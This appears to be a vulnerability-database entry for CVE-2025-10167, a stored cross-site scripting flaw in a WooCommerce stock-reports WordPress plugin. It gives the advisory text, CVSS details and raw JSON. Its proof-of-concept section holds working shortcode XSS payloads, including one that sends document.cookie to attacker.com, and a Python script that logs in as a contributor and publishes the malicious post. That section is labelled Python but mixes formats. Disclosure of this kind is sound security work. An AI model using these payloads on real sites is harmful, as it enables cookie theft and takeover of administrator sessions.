Security Vulnerability Report
中文
CVE-2025-10167 CVSS 6.4 MEDIUM

CVE-2025-10167

Published: 2025-10-11 10:15:42
Last Modified: 2026-04-15 00:35:42

Description

The Stock History & Reports Manager for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'alg_wc_stock_snapshot_restocked shortcode in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

stock-snapshot-for-woocommerce <= 2.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-10167 PoC for Stored XSS in Stock History & Reports Manager for WooCommerce --> <!-- Affected versions: <= 2.2.2 --> <!-- Required privilege: Contributor level or above --> <!-- Step 1: Login as a contributor-level user --> <!-- Step 2: Create a new post or page --> <!-- Step 3: Insert the following malicious shortcode in the content --> [alg_wc_stock_snapshot_restocked id=""><img src=x onerror=alert(document.cookie)>] <!-- Alternative payload for cookie stealing --> [alg_wc_stock_snapshot_restocked id="1"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>] <!-- Step 4: Publish the post --> <!-- Step 5: When any user (especially admin) views the post, the XSS payload executes --> <!-- Exploit script (Python) to automate the attack --> """ import requests TARGET_URL = "http://target-wordpress-site.com" USERNAME = "contributor_user" PASSWORD = "password123" # Login to WordPress session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': TARGET_URL + '/wp-admin/post-new.php', 'testcookie': '1' } session.post(TARGET_URL + '/wp-login.php', data=login_data) # Create a new post with malicious shortcode post_data = { 'post_title': 'Test Post', 'post_content': '[alg_wc_stock_snapshot_restocked id=""><img src=x onerror=alert(document.cookie)>]', 'post_status': 'publish', 'post_type': 'post' } response = session.post(TARGET_URL + '/wp-admin/post.php', data=post_data) print("Post published successfully" if response.status_code == 200 else "Failed") """

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10167", "sourceIdentifier": "[email protected]", "published": "2025-10-11T10:15:41.797", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Stock History & Reports Manager for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'alg_wc_stock_snapshot_restocked shortcode in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/stock-snapshot-for-woocommerce/trunk/includes/class-alg-wc-stock-snapshot-shortcodes.php#L174", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3376453/", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/stock-snapshot-for-woocommerce", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/13ffe550-699a-4244-b0e1-859c113d77c0?source=cve", "source": "[email protected]"}]}}